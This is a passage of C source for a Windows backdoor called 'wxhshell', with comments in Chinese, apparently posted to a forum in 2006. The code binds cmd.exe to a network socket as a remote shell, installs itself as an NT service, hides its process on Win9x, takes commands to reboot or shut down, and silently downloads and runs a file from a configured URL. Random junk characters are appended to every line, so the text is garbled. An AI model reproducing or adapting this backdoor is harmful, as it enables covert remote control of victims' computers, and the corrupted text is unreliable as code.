  case 'i': { [hy:BV6H+  
    if(Install()) gH87e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M%=V vE.I  
    else oK3uGPi  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); % :?_N  
    break; &P8 Run  
    } v IBVp  
  // 卸载 Jvi"K  
  case 'r': { c&zZsJ"~  
    if(Uninstall()) !]bXHT&!R  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "=~P&Mi_  
    else Fy4jujP<  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -fF1vJ7L  
    break; [~&C6pR  
    } k~|nU  
  // 显示 wxhshell 所在路径 a`}b'X:  
  case 'p': { 99XbpP55  
    char svExeFile[MAX_PATH]; \Y'#}J"dh  
    strcpy(svExeFile,"\n\r"); e|wH5(V  
      strcat(svExeFile,ExeFile); z4l O  
        send(wsh,svExeFile,strlen(svExeFile),0); T';<;6J**  
    break; c*nH=  
    } + -e8MvP  
  // 重启 }gw `,i  
  case 'b': { 8J|pj4ce  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); CbK&.a  
    if(Boot(REBOOT)) _=0;5OrK1X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gcImk0NIY  
    else { p/V  
    closesocket(wsh); +3VDapfin  
    ExitThread(0); _Q<wb8+/  
    } x<) %Gs}tb  
    break; S312h'K j  
    } ,#^<0u+zrF  
  // 关机 N*t91 X  
  case 'd': { r4Ygy/%  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ZdQm& ?  
    if(Boot(SHUTDOWN)) >M.?qs4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "cerg?ix  
    else { j7;v'eA`;7  
    closesocket(wsh); Ks&~VU  
    ExitThread(0); f.Y9gkt3d  
    } ?sl 7C gl  
    break; x}TDb0V  
    } jE)&`yZ5  
  // 获取shell HgG-r&r!2  
  case 's': { <j1l&H|ux,  
    CmdShell(wsh); a,Gd\.D  
    closesocket(wsh); gi`K^L=C  
    ExitThread(0); 4XL*e+UfJ  
    break; ]2n&DJu  
  } t+0&B"  
  // 退出 f~Dl;f~H_;  
  case 'x': { cvn4Q-^  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); \GtZX!0  
    CloseIt(wsh); |(Zv g}c_  
    break; '< OB  j  
    } H~-zq} 4  
  // 离开 RVN"lDGA  
  case 'q': { 2,Y8ML<  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ,x5`5mT3  
    closesocket(wsh); sr\lz}JW  
    WSACleanup(); STgl{#  
    exit(1); Kb0OauW  
    break; ~CRr)(M  
        } s~$kzEtjjU  
  } _>HX Q6Hw  
  } UTQ$sg|7p  
~p~8T  
  // 提示信息 +3e(psdg  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]B>Y  +  
} b?-%Uzp<  
  } 5YIi O7@4  
ogv86d  
  return; J'.:l}g!1  
} ]s jFj  
/U<-N'|  
// shell模块句柄 uF>I0J#z?  
int CmdShell(SOCKET sock) =SLP}bP{:  
{ 76[aOC2Ad  
STARTUPINFO si; U{D ?1tF  
ZeroMemory(&si,sizeof(si)); @f0~a  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; CAY^ `K!  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; daBu<0\  
PROCESS_INFORMATION ProcessInfo; Kzxzz6R?  
char cmdline[]="cmd"; / /qTMxn  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Vn1kC  
  return 0; _1*EMq6  
} JnCY O^Qj  
.LafP}%  
// 自身启动模式 f+0dwlIlC$  
int StartFromService(void) ?PWD[mQE\  
{ Ze~ a+%Sb  
typedef struct 9QJ=?bIC#  
{ >q <,FY!A  
  DWORD ExitStatus; K&"Yv~h  
  DWORD PebBaseAddress; `Oys&]vb  
  DWORD AffinityMask; 1W-t})!a  
  DWORD BasePriority; cWgiFv  
  ULONG UniqueProcessId; '9GHmtdO,  
  ULONG InheritedFromUniqueProcessId; kgK7 T  
}   PROCESS_BASIC_INFORMATION; }jTEgog  
/-4i"|  
PROCNTQSIP NtQueryInformationProcess; :<%K6?'@^  
N`y!Km  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ,KkENp_  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; wpY%"x#-+=  
H's67E/>*  
  HANDLE             hProcess; -]5dD VSO  
  PROCESS_BASIC_INFORMATION pbi; uW4G!Kw28  
D>c%5h  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); =(*Eh=Pw  
  if(NULL == hInst ) return 0; ` e~/  
:RHNV  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); PiI ):B>  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); }K;@$B6,@  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); [?W3XUJ,Y  
L3nHvKA]  
  if (!NtQueryInformationProcess) return 0; Opmb   
xpFu$2T6P.  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); e}/c`7M  
  if(!hProcess) return 0; UuT>qWxQ8  
.EH^1.|v  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; {^9,Dy_D  
M O* m@  
  CloseHandle(hProcess); ?C.C?h6F5B  
`(=)8>|e  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); )rhKWg  
if(hProcess==NULL) return 0; hr@KWE`  
A3&8@/6,  
HMODULE hMod; -+|0LXo  
char procName[255]; M6 AQ8~z  
unsigned long cbNeeded; s\o </ZDo  
gbr|0h>  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); S7wZCQe  
D.qbzJz  
  CloseHandle(hProcess); {_3ZKD(\  
uVDB; 6  
if(strstr(procName,"services")) return 1; // 以服务启动 ?Pl>sCFm~  
RNoS7[&  
  return 0; // 注册表启动 ]S,I}NP  
} *v:+A E  
UN| "D]>/  
// 主模块 ]ZO^@sH  
int StartWxhshell(LPSTR lpCmdLine) !i_5Xc H  
{ lhQ*;dMj%"  
  SOCKET wsl; 2|EH Ny!  
BOOL val=TRUE; BAm H2"  
  int port=0; 6$SsdT|8B  
  struct sockaddr_in door; D8`,PXtV  
'4HwS$mW3  
  if(wscfg.ws_autoins) Install(); U@D=.6\B  
}'kk}2ej`  
port=atoi(lpCmdLine); ]|Vm!Q  
HtY\!_Ea  
if(port<=0) port=wscfg.ws_port; XFYCPET  
:BMUc-[  
  WSADATA data; wi*Ke2YKP  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; t]eB3)FX  
1ErH \!  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   bL *;N3#E  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); k>VP<Zm13  
  door.sin_family = AF_INET; ),bdj+wr78  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ^fnRzX  
  door.sin_port = htons(port); uHz D  
X /5tZ@  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { , X$S4>  
closesocket(wsl); yKZ~ ^  
return 1; 9]NsWd^^  
} .j7|;Ag  
LfOGq%&  
  if(listen(wsl,2) == INVALID_SOCKET) { DKIDLf  
closesocket(wsl);  +tfmBZl^  
return 1; b)@D*plS&  
} #: ' P3)&  
  Wxhshell(wsl); ^_5$+  
  WSACleanup(); -Rjn<bTIy  
~ D3'-,n[  
return 0; ]3 0 7 .  
?/#HTg)!B  
} nkN]z ^j  
=5dv38  
// 以NT服务方式启动 K<Yh'RvTD  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) \iowAo$  
{ woR((K] #G  
DWORD   status = 0; .s7/bF  
  DWORD   specificError = 0xfffffff; ,vg8iR a  
3w{ i5gGn  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Y;&Cmi  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Ks7s2vK^  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; /8W}o/,s5  
  serviceStatus.dwWin32ExitCode     = 0; dP)8T  
  serviceStatus.dwServiceSpecificExitCode = 0; pVbX#3  
  serviceStatus.dwCheckPoint       = 0; (CZRX9TT1  
  serviceStatus.dwWaitHint       = 0;  J|6aa  
6_zL#7E'  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); `;cKN)Xk  
  if (hServiceStatusHandle==0) return; A*\4C3a'%  
'^Sa|WXq  
status = GetLastError(); .V/TVz!b  
  if (status!=NO_ERROR) ^o?.Rph|i]  
{ ctt5t  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ;C{ 2*0"H|  
    serviceStatus.dwCheckPoint       = 0; u =rY  
    serviceStatus.dwWaitHint       = 0; S'E6#   
    serviceStatus.dwWin32ExitCode     = status; /#>?wy<s ~  
    serviceStatus.dwServiceSpecificExitCode = specificError; 7qL]_u[^  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); fVf.u'.8  
    return; )%ja6Vg  
  } jgEiemh&  
{R1jysG tD  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Z8'uZ#=Yw  
  serviceStatus.dwCheckPoint       = 0; m"U\;Mw?  
  serviceStatus.dwWaitHint       = 0; S'3l<sY  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); |:H[Y"$1;  
} T w"^I*B  
D eXnE$XH  
// 处理NT服务事件,比如:启动、停止 a |z{B b  
VOID WINAPI NTServiceHandler(DWORD fdwControl) $: Qi9N   
{ d54>nycU~N  
switch(fdwControl) .P,\69g~A  
{ g-*@I`k[  
case SERVICE_CONTROL_STOP: 3QV|@5L`[  
  serviceStatus.dwWin32ExitCode = 0; .'.|s?s  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; sF|<m)Kt{W  
  serviceStatus.dwCheckPoint   = 0; zhN'@Wj'_  
  serviceStatus.dwWaitHint     = 0; Iupk+x>  
  { yRvq3>mU  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); OSkZW  
  } s BRw#xyS  
  return; ,HMB`vF  
case SERVICE_CONTROL_PAUSE: 4qyL' \d[  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 8swj'SjX  
  break; 2^ UFP+Yw  
case SERVICE_CONTROL_CONTINUE: ]^Q`CiKd  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ^8V]g1]fiG  
  break; _|6{(  
case SERVICE_CONTROL_INTERROGATE: w,`x(!&  
  break; jr!x)yd  
}; )C|>M'g@v  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); evszfCH'J  
} +(|T\%$DT  
nH T2M{R  
// 标准应用程序主函数 1RcaE!\p  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ?"sk"{  
{ rvr Ok  
dnNc,l&g  
// 获取操作系统版本 PJ #uYM  
OsIsNt=GetOsVer(); u.!Pda  
GetModuleFileName(NULL,ExeFile,MAX_PATH); -} Z  
t5eux&C  
  // 从命令行安装 IOIGLtB  
  if(strpbrk(lpCmdLine,"iI")) Install(); s*]1d*B!  
H%])>  
  // 下载执行文件 O'idS`   
if(wscfg.ws_downexe) { YtIJJH  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) <cepRjDn  
  WinExec(wscfg.ws_filenam,SW_HIDE); iY*Xm,#  
} }"xC1<]  
*;o=hM)Tp  
if(!OsIsNt) { p=7kFv  
// 如果时win9x,隐藏进程并且设置为注册表启动 >#0yd7BST  
HideProc(); \:" s*-  
StartWxhshell(lpCmdLine); Sf*VkH  
} ,VHvQU  
else im1]:kr7  
  if(StartFromService()) %AW  
  // 以服务方式启动 #j;&g1  
  StartServiceCtrlDispatcher(DispatchTable); |0-5-.  
else q)!{oi{x(  
  // 普通方式启动 Iqo4INGIi  
  StartWxhshell(lpCmdLine); <ygkK5#q  
k ( R  
return 0; 1~5={eI  
}
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只看该作者 1 发表于: 2006-10-10
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